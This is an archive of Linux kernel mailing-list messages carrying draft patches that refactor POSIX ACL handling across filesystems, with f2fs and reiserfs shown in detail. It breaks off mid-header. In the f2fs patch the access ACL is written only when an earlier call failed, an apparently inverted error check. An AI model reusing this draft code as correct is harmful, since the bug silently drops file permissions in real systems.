dentry->d_inode; @@ -65,7 +65,7 @@ posix_acl_set(struct dentry *dentry, const char *name, const void *value, } static int -posix_acl_get(struct dentry *dentry, const char *name, void *buffer, +reiserfs_posix_acl_get(struct dentry *dentry, const char *name, void *buffer, size_t size, int type) { struct posix_acl *acl; @@ -88,7 +88,7 @@ posix_acl_get(struct dentry *dentry, const char *name, void *buffer, /* * Convert from filesystem to in-memory representation. */ -static struct posix_acl *posix_acl_from_disk(const void *value, size_t size) +static struct posix_acl *reiserfs_posix_acl_from_disk(const void *value, size_t size) { const char *end = (char *)value + size; int n, count; @@ -158,7 +158,7 @@ static struct posix_acl *posix_acl_from_disk(const void *value, size_t size) /* * Convert from in-memory to filesystem representation. */ -static void *posix_acl_to_disk(const struct posix_acl *acl, size_t * size) +static void *reiserfs_posix_acl_to_disk(const struct posix_acl *acl, size_t * size) { reiserfs_acl_header *ext_acl; char *e; @@ -257,7 +257,7 @@ struct posix_acl *reiserfs_get_acl(struct inode *inode, int type) } else if (retval < 0) { acl = ERR_PTR(retval); } else { - acl = posix_acl_from_disk(value, retval); + acl = reiserfs_posix_acl_from_disk(value, retval); } if (!IS_ERR(acl)) set_cached_acl(inode, type, acl); @@ -307,7 +307,7 @@ reiserfs_set_acl(struct reiserfs_transaction_handle *th, struct inode *inode, } if (acl) { - value = posix_acl_to_disk(acl, &size); + value = reiserfs_posix_acl_to_disk(acl, &size); if (IS_ERR(value)) return (int)PTR_ERR(value); } @@ -499,8 +499,8 @@ static size_t posix_acl_access_list(struct dentry *dentry, char *list, const struct xattr_handler reiserfs_posix_acl_access_handler = { .prefix = POSIX_ACL_XATTR_ACCESS, .flags = ACL_TYPE_ACCESS, - .get = posix_acl_get, - .set = posix_acl_set, + .get = reiserfs_posix_acl_get, + .set = reiserfs_posix_acl_set, .list = posix_acl_access_list, }; @@ -519,7 +519,7 @@ static size_t posix_acl_default_list(struct dentry *dentry, char *list, const struct xattr_handler reiserfs_posix_acl_default_handler = { .prefix = POSIX_ACL_XATTR_DEFAULT, .flags = ACL_TYPE_DEFAULT, - .get = posix_acl_get, - .set = posix_acl_set, + .get = reiserfs_posix_acl_get, + .set = reiserfs_posix_acl_set, .list = posix_acl_default_list, }; -- 1.7.10.4 From BATV+9ac760991a1afd8756ef+3752+infradead.org+hch@bombadil.srs.infradead.org Sun Dec 1 06:07:09 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id D46A37F56 for ; Sun, 1 Dec 2013 06:07:09 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id C32C58F8049 for ; Sun, 1 Dec 2013 04:07:09 -0800 (PST) X-ASG-Debug-ID: 1385899626-04cb6c537c41c8e0001-NocioJ Received: from bombadil.infradead.org ([198.137.202.9]) by cuda.sgi.com with ESMTP id nYohDpFx2nEPcZHm (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Sun, 01 Dec 2013 04:07:07 -0800 (PST) X-Barracuda-Envelope-From: BATV+9ac760991a1afd8756ef+3752+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1Vn5na-0003bW-OV; Sun, 01 Dec 2013 12:06:54 +0000 Message-Id: <20131201120654.610216548@bombadil.infradead.org> User-Agent: quilt/0.60-1 Date: Sun, 01 Dec 2013 03:59:09 -0800 From: Christoph Hellwig To: viro@zeniv.linux.org.uk Cc: linux-fsdevel@vger.kernel.org, linux-btrfs@vger.kernel.org, linux-ext4@vger.kernel.org, linux-f2fs-devel@lists.sourceforge.net, linux-mtd@lists.infradead.org, Mark Fasheh , Joel Becker , reiserfs-devel@vger.kernel.org, xfs@oss.sgi.com, jfs-discussion@lists.sourceforge.net, cluster-devel@redhat.com, linux-nfs@vger.kernel.org Subject: [PATCH 06/18] fs: make posix_acl_create more useful References: <20131201115903.910559036@bombadil.infradead.org> X-ASG-Orig-Subj: [PATCH 06/18] fs: make posix_acl_create more useful Content-Disposition: inline; filename=0006-fs-make-posix_acl_create-more-useful.patch X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: UNKNOWN[198.137.202.9] X-Barracuda-Start-Time: 1385899627 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.60 X-Barracuda-Spam-Status: No, SCORE=0.60 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MISMATCH_TO, BSF_SC5_MJ1963, RDNS_NONE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.142754 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 BSF_SC0_MISMATCH_TO Envelope rcpt doesn't match header 0.10 RDNS_NONE Delivered to trusted network by a host with no rDNS 0.50 BSF_SC5_MJ1963 Custom Rule MJ1963 Rename the current posix_acl_created to __posix_acl_create and add a fully featured helper to set up the ACLs on file creation that uses get_acl(). Signed-off-by: Christoph Hellwig --- fs/9p/acl.c | 2 +- fs/btrfs/acl.c | 2 +- fs/ext2/acl.c | 2 +- fs/ext3/acl.c | 2 +- fs/ext4/acl.c | 2 +- fs/f2fs/acl.c | 2 +- fs/generic_acl.c | 2 +- fs/gfs2/acl.c | 2 +- fs/hfsplus/posix_acl.c | 2 +- fs/jffs2/acl.c | 2 +- fs/jfs/acl.c | 2 +- fs/nfs/nfs3acl.c | 2 +- fs/ocfs2/acl.c | 2 +- fs/posix_acl.c | 53 +++++++++++++++++++++++++++++++++++++++++++-- fs/reiserfs/xattr_acl.c | 2 +- fs/xfs/xfs_acl.c | 4 ++-- include/linux/posix_acl.h | 6 ++++- 17 files changed, 72 insertions(+), 19 deletions(-) diff --git a/fs/9p/acl.c b/fs/9p/acl.c index f5ce5c5..8482f2d 100644 --- a/fs/9p/acl.c +++ b/fs/9p/acl.c @@ -200,7 +200,7 @@ int v9fs_acl_mode(struct inode *dir, umode_t *modep, if (acl) { if (S_ISDIR(mode)) *dpacl = posix_acl_dup(acl); - retval = posix_acl_create(&acl, GFP_NOFS, &mode); + retval = __posix_acl_create(&acl, GFP_NOFS, &mode); if (retval < 0) return retval; if (retval > 0) diff --git a/fs/btrfs/acl.c b/fs/btrfs/acl.c index 1af04ff..b56519d 100644 --- a/fs/btrfs/acl.c +++ b/fs/btrfs/acl.c @@ -222,7 +222,7 @@ int btrfs_init_acl(struct btrfs_trans_handle *trans, if (ret) goto failed; } - ret = posix_acl_create(&acl, GFP_NOFS, &inode->i_mode); + ret = __posix_acl_create(&acl, GFP_NOFS, &inode->i_mode); if (ret < 0) return ret; diff --git a/fs/ext2/acl.c b/fs/ext2/acl.c index 7006ced..6e842a7 100644 --- a/fs/ext2/acl.c +++ b/fs/ext2/acl.c @@ -268,7 +268,7 @@ ext2_init_acl(struct inode *inode, struct inode *dir) if (error) goto cleanup; } - error = posix_acl_create(&acl, GFP_KERNEL, &inode->i_mode); + error = __posix_acl_create(&acl, GFP_KERNEL, &inode->i_mode); if (error < 0) return error; if (error > 0) { diff --git a/fs/ext3/acl.c b/fs/ext3/acl.c index 6691a6c..4f3d8fa 100644 --- a/fs/ext3/acl.c +++ b/fs/ext3/acl.c @@ -271,7 +271,7 @@ ext3_init_acl(handle_t *handle, struct inode *inode, struct inode *dir) if (error) goto cleanup; } - error = posix_acl_create(&acl, GFP_NOFS, &inode->i_mode); + error = __posix_acl_create(&acl, GFP_NOFS, &inode->i_mode); if (error < 0) return error; diff --git a/fs/ext4/acl.c b/fs/ext4/acl.c index 2eebe02..f827f3b 100644 --- a/fs/ext4/acl.c +++ b/fs/ext4/acl.c @@ -276,7 +276,7 @@ ext4_init_acl(handle_t *handle, struct inode *inode, struct inode *dir) if (error) goto cleanup; } - error = posix_acl_create(&acl, GFP_NOFS, &inode->i_mode); + error = __posix_acl_create(&acl, GFP_NOFS, &inode->i_mode); if (error < 0) return error; diff --git a/fs/f2fs/acl.c b/fs/f2fs/acl.c index 14c4df0..45e8430 100644 --- a/fs/f2fs/acl.c +++ b/fs/f2fs/acl.c @@ -285,7 +285,7 @@ int f2fs_init_acl(struct inode *inode, struct inode *dir, struct page *ipage) if (error) goto cleanup; } - error = posix_acl_create(&acl, GFP_KERNEL, &inode->i_mode); + error = __posix_acl_create(&acl, GFP_KERNEL, &inode->i_mode); if (error < 0) return error; if (error > 0) diff --git a/fs/generic_acl.c b/fs/generic_acl.c index 46a5076..4357f39 100644 --- a/fs/generic_acl.c +++ b/fs/generic_acl.c @@ -128,7 +128,7 @@ generic_acl_init(struct inode *inode, struct inode *dir) if (acl) { if (S_ISDIR(inode->i_mode)) set_cached_acl(inode, ACL_TYPE_DEFAULT, acl); - error = posix_acl_create(&acl, GFP_KERNEL, &inode->i_mode); + error = __posix_acl_create(&acl, GFP_KERNEL, &inode->i_mode); if (error < 0) return error; if (error > 0) diff --git a/fs/gfs2/acl.c b/fs/gfs2/acl.c index 3e200c7..e82e4ac 100644 --- a/fs/gfs2/acl.c +++ b/fs/gfs2/acl.c @@ -131,7 +131,7 @@ int gfs2_acl_create(struct gfs2_inode *dip, struct inode *inode) goto out; } - error = posix_acl_create(&acl, GFP_NOFS, &mode); + error = __posix_acl_create(&acl, GFP_NOFS, &mode); if (error < 0) return error; diff --git a/fs/hfsplus/posix_acl.c b/fs/hfsplus/posix_acl.c index cab5fd6..277942f 100644 --- a/fs/hfsplus/posix_acl.c +++ b/fs/hfsplus/posix_acl.c @@ -137,7 +137,7 @@ int hfsplus_init_posix_acl(struct inode *inode, struct inode *dir) goto init_acl_cleanup; } - err = posix_acl_create(&acl, GFP_NOFS, &inode->i_mode); + err = __posix_acl_create(&acl, GFP_NOFS, &inode->i_mode); if (unlikely(err < 0)) return err; diff --git a/fs/jffs2/acl.c b/fs/jffs2/acl.c index 5853969..4d6e31b 100644 --- a/fs/jffs2/acl.c +++ b/fs/jffs2/acl.c @@ -295,7 +295,7 @@ int jffs2_init_acl_pre(struct inode *dir_i, struct inode *inode, umode_t *i_mode if (S_ISDIR(*i_mode)) set_cached_acl(inode, ACL_TYPE_DEFAULT, acl); - rc = posix_acl_create(&acl, GFP_KERNEL, i_mode); + rc = __posix_acl_create(&acl, GFP_KERNEL, i_mode); if (rc < 0) return rc; if (rc > 0) diff --git a/fs/jfs/acl.c b/fs/jfs/acl.c index 9c0fca8..28d529a 100644 --- a/fs/jfs/acl.c +++ b/fs/jfs/acl.c @@ -132,7 +132,7 @@ int jfs_init_acl(tid_t tid, struct inode *inode, struct inode *dir) if (rc) goto cleanup; } - rc = posix_acl_create(&acl, GFP_KERNEL, &inode->i_mode); + rc = __posix_acl_create(&acl, GFP_KERNEL, &inode->i_mode); if (rc < 0) goto cleanup; /* posix_acl_release(NULL) is no-op */ if (rc > 0) diff --git a/fs/nfs/nfs3acl.c b/fs/nfs/nfs3acl.c index 4a1aafb..e859675 100644 --- a/fs/nfs/nfs3acl.c +++ b/fs/nfs/nfs3acl.c @@ -428,7 +428,7 @@ int nfs3_proc_set_default_acl(struct inode *dir, struct inode *inode, if (!dfacl) return 0; acl = posix_acl_dup(dfacl); - error = posix_acl_create(&acl, GFP_KERNEL, &mode); + error = __posix_acl_create(&acl, GFP_KERNEL, &mode); if (error < 0) goto out_release_dfacl; error = nfs3_proc_setacls(inode, acl, S_ISDIR(inode->i_mode) ? diff --git a/fs/ocfs2/acl.c b/fs/ocfs2/acl.c index 73ccf0e..c0f9d2f 100644 --- a/fs/ocfs2/acl.c +++ b/fs/ocfs2/acl.c @@ -401,7 +401,7 @@ int ocfs2_init_acl(handle_t *handle, goto cleanup; } mode = inode->i_mode; - ret = posix_acl_create(&acl, GFP_NOFS, &mode); + ret = __posix_acl_create(&acl, GFP_NOFS, &mode); if (ret < 0) return ret; diff --git a/fs/posix_acl.c b/fs/posix_acl.c index 9f76aaa..38d6a49 100644 --- a/fs/posix_acl.c +++ b/fs/posix_acl.c @@ -384,7 +384,7 @@ static int __posix_acl_chmod_masq(struct posix_acl *acl, umode_t mode) } int -posix_acl_create(struct posix_acl **acl, gfp_t gfp, umode_t *mode_p) +__posix_acl_create(struct posix_acl **acl, gfp_t gfp, umode_t *mode_p) { struct posix_acl *clone = posix_acl_clone(*acl, gfp); int err = -ENOMEM; @@ -399,7 +399,7 @@ posix_acl_create(struct posix_acl **acl, gfp_t gfp, umode_t *mode_p) *acl = clone; return err; } -EXPORT_SYMBOL(posix_acl_create); +EXPORT_SYMBOL(__posix_acl_create); int __posix_acl_chmod(struct posix_acl **acl, gfp_t gfp, umode_t mode) @@ -443,6 +443,55 @@ posix_acl_chmod(struct inode *inode) } EXPORT_SYMBOL(posix_acl_chmod); +int +posix_acl_create(struct inode *dir, umode_t *mode, + struct posix_acl **default_acl, struct posix_acl **acl) +{ + struct posix_acl *p; + int ret; + + if (S_ISLNK(*mode) || !IS_POSIXACL(dir)) + goto no_acl; + + p = get_acl(dir, ACL_TYPE_DEFAULT); + if (IS_ERR(p)) + return PTR_ERR(p); + + if (!p) { + *mode &= ~current_umask(); + goto no_acl; + } + + *acl = posix_acl_clone(p, GFP_NOFS); + if (!*acl) + return -ENOMEM; + + ret = posix_acl_create_masq(*acl, mode); + if (ret < 0) { + posix_acl_release(*acl); + return -ENOMEM; + } + + if (ret == 0) { + posix_acl_release(*acl); + *acl = NULL; + } + + if (!S_ISDIR(*mode)) { + posix_acl_release(p); + *default_acl = NULL; + } else { + *default_acl = p; + } + return 0; + +no_acl: + *default_acl = NULL; + *acl = NULL; + return 0; +} +EXPORT_SYMBOL_GPL(posix_acl_create); + struct posix_acl *get_acl(struct inode *inode, int type) { struct posix_acl *acl; diff --git a/fs/reiserfs/xattr_acl.c b/fs/reiserfs/xattr_acl.c index ea4e443..d95c959 100644 --- a/fs/reiserfs/xattr_acl.c +++ b/fs/reiserfs/xattr_acl.c @@ -378,7 +378,7 @@ reiserfs_inherit_default_acl(struct reiserfs_transaction_handle *th, /* Now we reconcile the new ACL and the mode, potentially modifying both */ - err = posix_acl_create(&acl, GFP_NOFS, &inode->i_mode); + err = __posix_acl_create(&acl, GFP_NOFS, &inode->i_mode); if (err < 0) return err; diff --git a/fs/xfs/xfs_acl.c b/fs/xfs/xfs_acl.c index 4eac105..057ae2d 100644 --- a/fs/xfs/xfs_acl.c +++ b/fs/xfs/xfs_acl.c @@ -297,12 +297,12 @@ xfs_inherit_acl(struct inode *inode, struct posix_acl *acl) goto out; } - error = posix_acl_create(&acl, GFP_KERNEL, &mode); + error = __posix_acl_create(&acl, GFP_KERNEL, &mode); if (error < 0) return error; /* - * If posix_acl_create returns a positive value we need to + * If __posix_acl_create returns a positive value we need to * inherit a permission that can't be represented using the Unix * mode bits and we actually need to set an ACL. */ diff --git a/include/linux/posix_acl.h b/include/linux/posix_acl.h index 8b64e78..9ec6b45 100644 --- a/include/linux/posix_acl.h +++ b/include/linux/posix_acl.h @@ -88,14 +88,18 @@ extern int posix_acl_valid(const struct posix_acl *); extern int posix_acl_permission(struct inode *, const struct posix_acl *, int); extern struct posix_acl *posix_acl_from_mode(umode_t, gfp_t); extern int posix_acl_equiv_mode(const struct posix_acl *, umode_t *); -extern int posix_acl_create(struct posix_acl **, gfp_t, umode_t *); +extern int __posix_acl_create(struct posix_acl **, gfp_t, umode_t *); extern int __posix_acl_chmod(struct posix_acl **, gfp_t, umode_t); +extern int posix_acl_prepare(struct inode *dir, struct inode *inode, + umode_t *mode); extern struct posix_acl *get_posix_acl(struct inode *, int); extern int set_posix_acl(struct inode *, int, struct posix_acl *); #ifdef CONFIG_FS_POSIX_ACL extern int posix_acl_chmod(struct inode *); +extern int posix_acl_create(struct inode *, umode_t *, struct posix_acl **, + struct posix_acl **); static inline struct posix_acl **acl_by_type(struct inode *inode, int type) { -- 1.7.10.4 From BATV+9ac760991a1afd8756ef+3752+infradead.org+hch@bombadil.srs.infradead.org Sun Dec 1 06:07:13 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 9620B7F5A for ; Sun, 1 Dec 2013 06:07:10 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 82F90304053 for ; Sun, 1 Dec 2013 04:07:10 -0800 (PST) X-ASG-Debug-ID: 1385899629-04cbb04169421900001-NocioJ Received: from bombadil.infradead.org ([198.137.202.9]) by cuda.sgi.com with ESMTP id NLFPFvYpV7fvxZ8F (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Sun, 01 Dec 2013 04:07:09 -0800 (PST) X-Barracuda-Envelope-From: BATV+9ac760991a1afd8756ef+3752+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1Vn5nb-0003dS-BW; Sun, 01 Dec 2013 12:06:55 +0000 Message-Id: <20131201120655.205206019@bombadil.infradead.org> User-Agent: quilt/0.60-1 Date: Sun, 01 Dec 2013 03:59:12 -0800 From: Christoph Hellwig To: viro@zeniv.linux.org.uk Cc: linux-fsdevel@vger.kernel.org, linux-btrfs@vger.kernel.org, linux-ext4@vger.kernel.org, linux-f2fs-devel@lists.sourceforge.net, linux-mtd@lists.infradead.org, Mark Fasheh , Joel Becker , reiserfs-devel@vger.kernel.org, xfs@oss.sgi.com, jfs-discussion@lists.sourceforge.net, cluster-devel@redhat.com, linux-nfs@vger.kernel.org Subject: [PATCH 09/18] f2fs: use generic posix ACL infrastructure References: <20131201115903.910559036@bombadil.infradead.org> X-ASG-Orig-Subj: [PATCH 09/18] f2fs: use generic posix ACL infrastructure Content-Disposition: inline; filename=0009-f2fs-use-generic-posix-ACL-infrastructure.patch X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: UNKNOWN[198.137.202.9] X-Barracuda-Start-Time: 1385899629 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 1.20 X-Barracuda-Spam-Status: No, SCORE=1.20 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MISMATCH_TO, BSF_SC5_MJ1963, MARKETING_SUBJECT, RDNS_NONE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.142754 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.60 MARKETING_SUBJECT Subject contains popular marketing words 0.00 BSF_SC0_MISMATCH_TO Envelope rcpt doesn't match header 0.10 RDNS_NONE Delivered to trusted network by a host with no rDNS 0.50 BSF_SC5_MJ1963 Custom Rule MJ1963 f2fs has some weird mode bit handling, so still using the old chmod code for now. Signed-off-by: Christoph Hellwig --- fs/f2fs/acl.c | 140 +++++++++---------------------------------------------- fs/f2fs/acl.h | 1 + fs/f2fs/file.c | 1 + fs/f2fs/namei.c | 2 + fs/f2fs/xattr.c | 9 ++-- fs/f2fs/xattr.h | 2 - 6 files changed, 30 insertions(+), 125 deletions(-) diff --git a/fs/f2fs/acl.c b/fs/f2fs/acl.c index 45e8430..4f52fe0f 100644 --- a/fs/f2fs/acl.c +++ b/fs/f2fs/acl.c @@ -205,7 +205,7 @@ struct posix_acl *f2fs_get_acl(struct inode *inode, int type) return acl; } -static int f2fs_set_acl(struct inode *inode, int type, +static int __f2fs_set_acl(struct inode *inode, int type, struct posix_acl *acl, struct page *ipage) { struct f2fs_sb_info *sbi = F2FS_SB(inode->i_sb); @@ -261,37 +261,32 @@ static int f2fs_set_acl(struct inode *inode, int type, return error; } +int f2fs_set_acl(struct inode *inode, struct posix_acl *acl, int type) +{ + return __f2fs_set_acl(inode, type, acl, NULL); +} + int f2fs_init_acl(struct inode *inode, struct inode *dir, struct page *ipage) { - struct f2fs_sb_info *sbi = F2FS_SB(dir->i_sb); - struct posix_acl *acl = NULL; + struct posix_acl *default_acl, *acl; int error = 0; - if (!S_ISLNK(inode->i_mode)) { - if (test_opt(sbi, POSIX_ACL)) { - acl = f2fs_get_acl(dir, ACL_TYPE_DEFAULT); - if (IS_ERR(acl)) - return PTR_ERR(acl); - } - if (!acl) - inode->i_mode &= ~current_umask(); - } - - if (!test_opt(sbi, POSIX_ACL) || !acl) - goto cleanup; + error = posix_acl_create(dir, &inode->i_mode, &default_acl, &acl); + if (error) + return error; - if (S_ISDIR(inode->i_mode)) { - error = f2fs_set_acl(inode, ACL_TYPE_DEFAULT, acl, ipage); + if (default_acl) { + error = __f2fs_set_acl(inode, ACL_TYPE_DEFAULT, default_acl, + ipage); + posix_acl_release(default_acl); + } + if (acl) { if (error) - goto cleanup; + error = __f2fs_set_acl(inode, ACL_TYPE_ACCESS, acl, + ipage); + posix_acl_release(acl); } - error = __posix_acl_create(&acl, GFP_KERNEL, &inode->i_mode); - if (error < 0) - return error; - if (error > 0) - error = f2fs_set_acl(inode, ACL_TYPE_ACCESS, acl, ipage); -cleanup: - posix_acl_release(acl); + return error; } @@ -315,100 +310,7 @@ int f2fs_acl_chmod(struct inode *inode) if (error) return error; - error = f2fs_set_acl(inode, ACL_TYPE_ACCESS, acl, NULL); - posix_acl_release(acl); - return error; -} - -static size_t f2fs_xattr_list_acl(struct dentry *dentry, char *list, - size_t list_size, const char *name, size_t name_len, int type) -{ - struct f2fs_sb_info *sbi = F2FS_SB(dentry->d_sb); - const char *xname = POSIX_ACL_XATTR_DEFAULT; - size_t size; - - if (!test_opt(sbi, POSIX_ACL)) - return 0; - - if (type == ACL_TYPE_ACCESS) - xname = POSIX_ACL_XATTR_ACCESS; - - size = strlen(xname) + 1; - if (list && size <= list_size) - memcpy(list, xname, size); - return size; -} - -static int f2fs_xattr_get_acl(struct dentry *dentry, const char *name, - void *buffer, size_t size, int type) -{ - struct f2fs_sb_info *sbi = F2FS_SB(dentry->d_sb); - struct posix_acl *acl; - int error; - - if (strcmp(name, "") != 0) - return -EINVAL; - if (!test_opt(sbi, POSIX_ACL)) - return -EOPNOTSUPP; - - acl = f2fs_get_acl(dentry->d_inode, type); - if (IS_ERR(acl)) - return PTR_ERR(acl); - if (!acl) - return -ENODATA; - error = posix_acl_to_xattr(&init_user_ns, acl, buffer, size); - posix_acl_release(acl); - - return error; -} - -static int f2fs_xattr_set_acl(struct dentry *dentry, const char *name, - const void *value, size_t size, int flags, int type) -{ - struct f2fs_sb_info *sbi = F2FS_SB(dentry->d_sb); - struct inode *inode = dentry->d_inode; - struct posix_acl *acl = NULL; - int error; - - if (strcmp(name, "") != 0) - return -EINVAL; - if (!test_opt(sbi, POSIX_ACL)) - return -EOPNOTSUPP; - if (!inode_owner_or_capable(inode)) - return -EPERM; - - if (value) { - acl = posix_acl_from_xattr(&init_user_ns, value, size); - if (IS_ERR(acl)) - return PTR_ERR(acl); - if (acl) { - error = posix_acl_valid(acl); - if (error) - goto release_and_out; - } - } else { - acl = NULL; - } - - error = f2fs_set_acl(inode, type, acl, NULL); - -release_and_out: + error = __f2fs_set_acl(inode, ACL_TYPE_ACCESS, acl, NULL); posix_acl_release(acl); return error; } - -const struct xattr_handler f2fs_xattr_acl_default_handler = { - .prefix = POSIX_ACL_XATTR_DEFAULT, - .flags = ACL_TYPE_DEFAULT, - .list = f2fs_xattr_list_acl, - .get = f2fs_xattr_get_acl, - .set = f2fs_xattr_set_acl, -}; - -const struct xattr_handler f2fs_xattr_acl_access_handler = { - .prefix = POSIX_ACL_XATTR_ACCESS, - .flags = ACL_TYPE_ACCESS, - .list = f2fs_xattr_list_acl, - .get = f2fs_xattr_get_acl, - .set = f2fs_xattr_set_acl, -}; diff --git a/fs/f2fs/acl.h b/fs/f2fs/acl.h index 4963313..2af31fe 100644 --- a/fs/f2fs/acl.h +++ b/fs/f2fs/acl.h @@ -37,6 +37,7 @@ struct f2fs_acl_header { #ifdef CONFIG_F2FS_FS_POSIX_ACL extern struct posix_acl *f2fs_get_acl(struct inode *, int); +extern int f2fs_set_acl(struct inode *inode, struct posix_acl *acl, int type); extern int f2fs_acl_chmod(struct inode *); extern int f2fs_init_acl(struct inode *, struct inode *, struct page *); #else diff --git a/fs/f2fs/file.c b/fs/f2fs/file.c index 7d714f4..13eff60 100644 --- a/fs/f2fs/file.c +++ b/fs/f2fs/file.c @@ -405,6 +405,7 @@ const struct inode_operations f2fs_file_inode_operations = { .getattr = f2fs_getattr, .setattr = f2fs_setattr, .get_acl = f2fs_get_acl, + .set_acl = f2fs_set_acl, #ifdef CONFIG_F2FS_FS_XATTR .setxattr = generic_setxattr, .getxattr = generic_getxattr, diff --git a/fs/f2fs/namei.c b/fs/f2fs/namei.c index 575adac..5846eeb 100644 --- a/fs/f2fs/namei.c +++ b/fs/f2fs/namei.c @@ -496,6 +496,7 @@ const struct inode_operations f2fs_dir_inode_operations = { .getattr = f2fs_getattr, .setattr = f2fs_setattr, .get_acl = f2fs_get_acl, + .set_acl = f2fs_set_acl, #ifdef CONFIG_F2FS_FS_XATTR .setxattr = generic_setxattr, .getxattr = generic_getxattr, @@ -522,6 +523,7 @@ const struct inode_operations f2fs_special_inode_operations = { .getattr = f2fs_getattr, .setattr = f2fs_setattr, .get_acl = f2fs_get_acl, + .set_acl = f2fs_set_acl, #ifdef CONFIG_F2FS_FS_XATTR .setxattr = generic_setxattr, .getxattr = generic_getxattr, diff --git a/fs/f2fs/xattr.c b/fs/f2fs/xattr.c index aa7a3f1..e2b9299 100644 --- a/fs/f2fs/xattr.c +++ b/fs/f2fs/xattr.c @@ -21,6 +21,7 @@ #include #include #include +#include #include "f2fs.h" #include "xattr.h" @@ -216,8 +217,8 @@ const struct xattr_handler f2fs_xattr_security_handler = { static const struct xattr_handler *f2fs_xattr_handler_map[] = { [F2FS_XATTR_INDEX_USER] = &f2fs_xattr_user_handler, #ifdef CONFIG_F2FS_FS_POSIX_ACL - [F2FS_XATTR_INDEX_POSIX_ACL_ACCESS] = &f2fs_xattr_acl_access_handler, - [F2FS_XATTR_INDEX_POSIX_ACL_DEFAULT] = &f2fs_xattr_acl_default_handler, + [F2FS_XATTR_INDEX_POSIX_ACL_ACCESS] = &posix_acl_access_xattr_handler, + [F2FS_XATTR_INDEX_POSIX_ACL_DEFAULT] = &posix_acl_default_xattr_handler, #endif [F2FS_XATTR_INDEX_TRUSTED] = &f2fs_xattr_trusted_handler, #ifdef CONFIG_F2FS_FS_SECURITY @@ -229,8 +230,8 @@ static const struct xattr_handler *f2fs_xattr_handler_map[] = { const struct xattr_handler *f2fs_xattr_handlers[] = { &f2fs_xattr_user_handler, #ifdef CONFIG_F2FS_FS_POSIX_ACL - &f2fs_xattr_acl_access_handler, - &f2fs_xattr_acl_default_handler, + &posix_acl_access_xattr_handler, + &posix_acl_default_xattr_handler, #endif &f2fs_xattr_trusted_handler, #ifdef CONFIG_F2FS_FS_SECURITY diff --git a/fs/f2fs/xattr.h b/fs/f2fs/xattr.h index 02a08fb..b21d9eb 100644 --- a/fs/f2fs/xattr.h +++ b/fs/f2fs/xattr.h @@ -108,8 +108,6 @@ struct f2fs_xattr_entry { #ifdef CONFIG_F2FS_FS_XATTR extern const struct xattr_handler f2fs_xattr_user_handler; extern const struct xattr_handler f2fs_xattr_trusted_handler; -extern const struct xattr_handler f2fs_xattr_acl_access_handler; -extern const struct xattr_handler f2fs_xattr_acl_default_handler; extern const struct xattr_handler f2fs_xattr_advise_handler; extern const struct xattr_handler f2fs_xattr_security_handler; -- 1.7.10.4 From BATV+9ac760991a1afd8756ef+3752+infradead.org+hch@bombadil.srs.infradead.org Sun Dec 1 06:07:14 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 90AAD7F59 for ; Sun, 1 Dec 2013 06:07:10 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 2AE46AC005 for ; Sun, 1 Dec 2013 04:07:09 -0800 (PST) X-ASG-Debug-ID: 1385899626-04bdf06eec424ce0001-NocioJ Received: from bombadil.infradead.org ([198.137.202.9]) by cuda.sgi.com with ESMTP id sCc6loUCFE3wPRZS (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Sun, 01 Dec 2013 04:07:06 -0800 (PST) X-Barracuda-Envelope-From: 